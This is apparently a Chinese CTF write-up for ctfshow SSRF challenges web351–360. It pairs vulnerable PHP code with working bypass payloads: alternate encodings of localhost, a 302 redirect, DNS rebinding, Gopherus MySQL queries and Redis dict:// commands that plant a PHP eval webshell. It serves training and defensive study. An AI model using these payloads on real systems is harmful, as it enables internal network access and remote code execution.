CTFSHOW-SSRF

curl_init 初始化一个新的会话

curl_setopt 为 cURL 会话句柄设置选项

curl_setopt($ch, CURLOPT_HEADER, 0); 表示将结果输出

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 将获取的信息以文件流的形式返回

curl_exec 执行给定的cURL会话

127.0.0.1的绕过方式: 

http://localhost/       # localhost就是代指127.0.0.1
http://0/               # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1 

127.0.0.1绕过-进制转换
 
十进制 2130706433
 
八进制 017700000001
 
二进制 0b1111111000000000000000000000001 
十六进制 0x7f000001 

web351

源代码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 
url=http://127.0.0.1/flag.php

web352

源代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤了localhost|127.0.0

url=http://127.0.1/flag.php
url=http://127.1/flag.php

web353

源代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这里可以使用16进制或8进制进行绕过

十六进制

url=http://0x7f.0.0.1/flag.php

八进制 

url=http://0177.0.0.1/flag.php

另一种方法

http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1 

web354

源代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这里直接把1和0过滤了

http://sudo.cc这个是解析到127.0.0.1的域名,直接用即可。

url=http://sudo.cc/flag.php

web355

源代码:

?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这题限制了长度<=5

所以直接

url=http://127.1/flag.php

或者 

url=http://0/flag.php
url=http://0.0/flag.php
url=http://0.0.0/flag.php

web356

源代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

 这题比上一题限制更短了

所以

url=http://0/flag.php
url=http://0.0/flag.php

web357

源代码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> 

gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

即不能是私有地址,这里我们需要一个公网ip

利用302跳转和dns重绑定

302跳转 
在服务器上新建一个302.php,内容如下:

<?php 
 
header("Location:http://127.0.0.1/flag.php");

 payload:

url=http://xxx/a.php

DNS重绑定

参考:浅谈DNS重绑定漏洞 - 知乎

访问http://ceye.io/并注册用户,在这里进行DNS重绑定:

在DNS Rebinding第一个随便填,第二个填127.0.0.1

然后payload:如下:

url=http://r.xxxxxx/flag.php            //xxxxxx为分给你的域名

 多尝试几次即可得到flag

web358

源代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

正则匹配:以以http://ctf.开头,以show结尾。

以show结尾比较好办,要么#show,要么?a=show这样的都可以。

以http://ctf.开头的话,加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1。

url=http://ctf.@127.0.0.1/flag.php?show

web359

 打开gopher小工具GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

使用方式:

将下载的文件,放在kali虚拟机中。打开终端,到下载文件的根目录下。输入以下:

python gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php';  

 复制gopher,并对3306/_后面url编码

 然后访问1.php

web360

第一种方法同上

第二种方法

执行下面的每一步

url=dict://127.0.0.1:6379/info
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x62\x69\x74\x5d\x29\x3b\x3f\x3e"
url=dict://127.0.0.1:6379/config:set:dbfilename:bit.php
url=dict://127.0.0.1:6379/save

然后访问bit.php,post传参bit即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值